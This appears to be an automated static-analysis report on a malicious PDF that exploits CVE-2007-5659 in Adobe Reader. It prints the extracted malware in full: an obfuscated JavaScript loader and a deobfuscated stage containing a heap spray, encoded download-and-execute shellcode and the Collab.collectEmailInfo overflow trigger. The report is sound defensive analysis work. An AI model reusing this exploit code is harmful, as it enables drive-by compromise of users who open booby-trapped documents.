Malicious PDF — malware analysis report

Static analysis result for SHA-256 10c288e1b2ed8e5c…

MALICIOUS

PDF

22.0 KB Created: 2012-12-11 09:26:33 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2015-10-05
MD5: bc7d0b7434d7b9452dbf4a6fae85da10 SHA-1: f2d1b75822fa20836ab5bf4f0a32b43dbd1ec3c4 SHA-256: 10c288e1b2ed8e5c7fff323f5ed07695ade85199ad130f0a28d0a7f4ea83a7f4
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF document exploits CVE-2007-5659, a vulnerability in Adobe Reader, to execute embedded JavaScript. The JavaScript code is designed to download and execute a second-stage payload, as indicated by the deobfuscated script 'acroform_shifted_field_stage_000.js'. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0315_000.js pdf-javascript-stream PDF /JS object 315 at offset 0x5447 1453 bytes
SHA-256: e6f5024a528e83a8b79163bd2631033166ea872676524f97189e0feb7e23a6fd
Preview script
First 1,000 lines of the extracted script
var dfshtrrthrthrt3rrf = "hijk";
var xcn54gezsrg3aewrg = ':'+'ABCD';
var asaasv35vgrevrew = "UVWXYZ{}";
var fdgreg34ggre = "()["+"]^"+"abcde";
var df3e34f43fw = "lmn";
var xcb34fefrewe = '23456'+'78';
function ssfewf24f3fwe(bxcvbe5454ger){
var xvdfs4wfew="";
for (var i = 0;i<bxcvbe5454ger.length-(51-50);i++)
{var xe5rg34fer = bxcvbe5454ger[i];
var xcvb34tgergfew34=mjyy5rj6rrew.indexOf(xe5rg34fer)-41;
var ntr54gewrw= xcvb34tgergfew34+mjyy5rj6rrew.length;
if (xcvb34tgergfew34<0){xcvb34tgergfew34=ntr54gewrw}
xvdfs4wfew += mjyy5rj6rrew.charAt(xcvb34tgergfew34)}
return xvdfs4wfew;}
var fkjihewgihfef = ',;"=';
var xvc4r45gerg4e = '9/!%+-*'+'.'+fkjihewgihfef+"<>&"+'\\';
var hjyrt34t34wef3de = "fg"+dfshtrrthrthrt3rrf+df3e34f43fw+"opqrstuvwxyz_"+'01'+xcb34fefrewe+xvc4r45gerg4e;
var dffg3443frefew = "QRST"+asaasv35vgrevrew+' '+fdgreg34ggre+hjyrt34t34wef3de;
var lopuiyuj56hr = xcn54gezsrg3aewrg +'EFGHIJKLMNOP';
var yutyuege3ge = lopuiyuj56hr+dffg3443frefew;
var mjyy5rj6rrew =yutyuege3ge;
var gfregeg34ger=getField("ASDASD");
var bfd54grege=gfregeg34ger.value;
var s34we34fw = ssfewf24f3fwe(bfd54grege);
var uirqwqthuitgoi = 'afskljfashaewhuieuioifaoivoie';
var hgoyuaiwuhoiwa = 'fdiakjhdfkjhefkjehklfkljshakv';
var ktoiaoiagoiuot = 'gkjuihauihgkjahkgahuihrguihra';
var oipopotiportrt = 'jhorjegoijeoijaoirjgoijgoiejl';
var kitroherighoer = uirqwqthuitgoi[28]+hgoyuaiwuhoiwa[28]+ktoiaoiagoiuot[28]+oipopotiportrt[28];
app[kitroherighoer](s34we34fw);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 41) at offset 0x4E1 2935 bytes
SHA-256: 367ee35b5855694300d021cd2e2b1051d1f521747a62273ce4042e4a7b4728a7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + String.fromCharCode(parseInt("0x" + res.substr(i+2,2) + res.substr(i,2)));}return out;}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode ="EB115B4B33C96681C9000680340BE4E2FAEB05E8EAFFFFFF0DDEE7E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4F27BB6723F40C781B1B1B0C551B1B1B0C481B1B1B0C431B1B1B0C461B1B1B0C791B1B1B0C7C1B1B1B0C771B1B1B8CD7D6E4E48C91978196B01BB3186D210C9A1B1B1B8C8A8190E48C938D8A8DB01BB31C6D210C8D1B1B1B0C801B1B1B0CBB1B1B1B0CBE1B1B1B0CB11B1B1B8C88D7D6E48C978C8188B01BB3006D210CA41B1B1B8EA48CE4F4E4E48CE434E3E48EE41BB32C6DE36D211BB3386DA1E46721EC6D1C6724E06D1F670FA66FF31BD6B4B7B11BB3006FCB6521E4F4E4E4B18EE48EE48ECC8EE41BB3186D0C6521E4F4E4E46D1F670FA86FF31BD6B4B7B11BB3006FD36722EC8EE48EE48EE48EE4B21BB30C5F8D8A948B671CE4EB6078E5E4E46DA30C8EE48EE48EE48EE4B21B930C1BB3085F8DB1948B671CE4EB6098E5E4E46DA3086FD36522E4D4E4E423E2E4E6E4E48EE4B26722E0B28ECB1B93081BB3145F8C90B5AD671CE4EB60AAE5E4E423A314E4E4E4E46D146FAA1865D8ECCA80888890E006110FE323A314E5E4E4E46FE3E1E4C4E4E48EE48EB48EE68EE48EE68CE4E4E4A4B41BB3285FA796A288671CE4EB60E2E5E4E46DA3286FD36522ECD7E4E423A21CE5E4E4E46FE36FFC679A1CE490A46D14670CECB48CE4E0E4E4B21B93081BB310679A1CE490CC6FAA1C6D14ACA465274EE4E4E46417ACD4FC06166D14670CE08EE4B41B921CB21B93281BB3340F5E1B93281BB3301B93081BB31C1B930C1BB31C6FD3652244EBE4E423E2878980C4679B14E590E60FC523A2E0CBA7C4C423A2EC9681839723A2E89296D7D623A2F4C4C997C46722F00FEE23A2E0CBA7C4C46722EC6FE3E1E4C4E4E422E2C6A26FFC6DFAA464DCE49111A222E2C66FD3652244EBE4E46D14E10CE7E4E4B46724EEB48EE48EE48CE4E4E4EC8EE48EE48EE4B28EE41BB33C5FA796B496671CE490EF8EE48E1A1BB3201B1B1B1BB78C8B8AE4E48C91968889B01BB3046D2123E34A8287730CE8191B1BD524D52DA4EB5AF0E3DC16911323E0E3C29696D9BFBFBF6DB8E3E06DA8E3ECB5B5B5B3B51BB318670BE00F490CF8191B1BC197B8C180CA819C81E4C197CBC180E4348B19C26E8B22F7066A9410F7186987975D31E573556DAB946AC6F41DF99B4D7B9472412626945A7547BB53E44A5D58C20D7A879A374C6CB8462C2FE4E4E4E48C909094DECBCB" + loadUrl+ "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);var binary = hex2bin(scode);heapSpray(binary);var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof});\